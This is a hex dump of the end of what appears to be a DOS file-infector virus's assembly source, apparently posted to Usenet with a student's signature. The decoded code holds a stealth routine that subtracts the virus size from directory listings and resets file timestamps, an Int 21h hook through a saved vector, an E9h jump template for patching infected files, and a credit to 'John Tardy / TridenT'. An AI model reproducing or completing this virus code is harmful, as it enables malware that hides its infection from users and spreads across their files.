|00002120| 73 3a 5b 62 78 2b 31 41 | 68 5d 2c 32 38 37 68 20 |s:[bx+1A|h],287h |
|00002130| 20 20 3b 53 75 62 74 72 | 61 63 74 20 76 69 72 75 | ;Subtr|act viru|
|00002140| 73 20 73 69 7a 65 0a 09 | 09 73 62 62 20 20 20 20 |s size..|.sbb |
|00002150| 20 77 6f 72 64 20 70 74 | 72 20 65 73 3a 5b 62 78 | word pt|r es:[bx|
|00002160| 2b 31 43 68 5d 2c 30 20 | 20 20 20 20 20 3b 61 64 |+1Ch],0 | ;ad|
|00002170| 6a 75 73 74 20 66 6f 72 | 20 63 61 72 72 79 0a 0a |just for| carry..|
|00002180| 52 65 73 65 74 54 69 6d | 65 3a 0a 09 09 78 6f 72 |ResetTim|e:...xor|
|00002190| 20 20 20 20 20 62 79 74 | 65 20 70 74 72 20 65 73 | byt|e ptr es|
|000021a0| 3a 5b 62 78 2b 31 36 68 | 5d 2c 31 30 68 20 20 20 |:[bx+16h|],10h |
|000021b0| 20 3b 52 65 73 74 6f 72 | 65 20 74 69 6d 65 20 74 | ;Restor|e time t|
|000021c0| 6f 20 6e 6f 72 6d 2e 0a | 0a 44 6f 6e 65 46 43 42 |o norm..|.DoneFCB|
|000021d0| 53 74 65 61 6c 74 68 3a | 0a 09 09 70 6f 70 20 20 |Stealth:|...pop |
|000021e0| 20 20 20 65 73 20 62 78 | 20 61 78 0a 09 09 70 6f | es bx| ax...po|
|000021f0| 70 66 0a 20 20 0a 4e 6f | 53 74 65 61 6c 74 68 3a |pf. .No|Stealth:|
|00002200| 0a 09 09 72 65 74 66 20 | 20 20 20 32 20 0a 0a 43 |...retf | 2 ..C|
|00002210| 61 6c 6c 49 6e 74 32 31 | 3a 0a 09 09 70 75 73 68 |allInt21|:...push|
|00002220| 66 0a 09 09 63 61 6c 6c | 20 20 20 20 64 77 6f 72 |f...call| dwor|
|00002230| 64 20 70 74 72 20 63 73 | 3a 5b 4f 6c 64 49 6e 74 |d ptr cs|:[OldInt|
|00002240| 32 31 2d 73 74 61 72 74 | 5d 0a 09 09 72 65 74 6e |21-start|]...retn|
|00002250| 0a 0a 53 74 6f 72 61 67 | 65 5f 42 79 74 65 73 3a |..Storag|e_Bytes:|
|00002260| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002270| 0a 09 09 6e 6f 70 0a 09 | 09 69 6e 74 20 20 20 20 |...nop..|.int |
|00002280| 20 32 31 68 0a 09 09 0a | 46 69 6c 65 6e 61 6d 65 | 21h....|Filename|
|00002290| 20 20 20 20 20 20 20 20 | 64 62 20 20 20 20 20 20 | |db |
|000022a0| 38 20 64 75 70 20 28 30 | 29 0a 09 09 64 62 20 20 |8 dup (0|)...db |
|000022b0| 20 20 20 20 27 2e 27 0a | 45 78 74 65 6e 73 69 6f | '.'.|Extensio|
|000022c0| 6e 20 20 20 20 20 20 20 | 64 62 20 20 20 20 20 20 |n |db |
|000022d0| 33 20 64 75 70 20 28 30 | 29 0a 09 09 64 62 20 20 |3 dup (0|)...db |
|000022e0| 20 20 20 20 30 0a 0a 46 | 69 6c 65 41 74 74 72 69 | 0..F|ileAttri|
|000022f0| 62 73 20 20 20 20 20 64 | 77 20 20 20 20 20 20 30 |bs d|w 0|
|00002300| 0a 46 69 6c 65 54 69 6d | 65 20 20 20 20 20 20 20 |.FileTim|e |
|00002310| 20 64 77 20 20 20 20 20 | 20 30 0a 46 69 6c 65 44 | dw | 0.FileD|
|00002320| 61 74 65 20 20 20 20 20 | 20 20 20 64 77 20 20 20 |ate | dw |
|00002330| 20 20 20 30 0a 0a 4a 75 | 6d 70 5f 42 79 74 65 73 | 0..Ju|mp_Bytes|
|00002340| 20 20 20 20 20 20 64 62 | 20 20 20 20 20 20 30 45 | db| 0E|
|00002350| 39 68 2c 20 30 30 68 2c | 20 30 30 68 0a 0a 41 75 |9h, 00h,| 00h..Au|
|00002360| 74 68 6f 72 4e 61 6d 65 | 20 20 20 20 20 20 64 62 |thorName| db|
|00002370| 20 20 20 20 20 20 27 20 | 4a 6f 68 6e 20 54 61 72 | ' |John Tar|
|00002380| 64 79 20 2f 20 54 72 69 | 64 65 6e 54 20 27 0a 0a |dy / Tri|denT '..|
|00002390| 65 6e 64 20 20 20 20 20 | 73 74 61 72 74 0a 0a 0a |end |start...|
|000023a0| 2d 2d 0a 45 72 69 63 20 | 22 4d 61 64 20 44 6f 67 |--.Eric |"Mad Dog|
|000023b0| 22 20 4b 69 6c 62 79 20 | 20 20 20 20 20 20 20 20 |" Kilby | |
|000023c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000023d0| 20 20 20 20 20 20 20 20 | 6d 61 64 64 6f 67 40 63 | |maddog@c|
|000023e0| 63 73 2e 6e 65 75 2e 65 | 64 75 0a 54 68 65 20 47 |cs.neu.e|du.The G|
|000023f0| 72 65 61 74 20 53 70 6f | 72 6b 65 75 73 20 4d 61 |reat Spo|rkeus Ma|
|00002400| 78 69 6d 75 73 09 09 09 | 20 20 20 20 20 65 6b 69 |ximus...| eki|
|00002410| 6c 62 79 40 6c 79 6e 78 | 2e 64 61 63 2e 6e 65 75 |lby@lynx|.dac.neu|
|00002420| 2e 65 64 75 0a 53 74 75 | 64 65 6e 74 20 61 74 20 |.edu.Stu|dent at |
|00002430| 74 68 65 20 4e 6f 72 74 | 68 65 61 74 73 74 65 72 |the Nort|heatster|
|00002440| 6e 20 55 6e 69 76 65 72 | 73 69 74 79 20 43 6f 6c |n Univer|sity Col|
|00002450| 6c 65 67 65 20 6f 66 20 | 43 6f 6d 70 75 74 65 72 |lege of |Computer|
|00002460| 20 53 63 69 65 6e 63 65 | 20 0a 22 49 20 43 61 6e | Science| ."I Can|
|00002470| 27 74 20 42 65 6c 69 65 | 76 65 20 49 74 27 73 20 |'t Belie|ve It's |
|00002480| 4e 6f 74 20 42 75 74 74 | 65 72 22 0a 0a |Not Butt|er".. |
+--------+-------------------------+-------------------------+--------+--------+
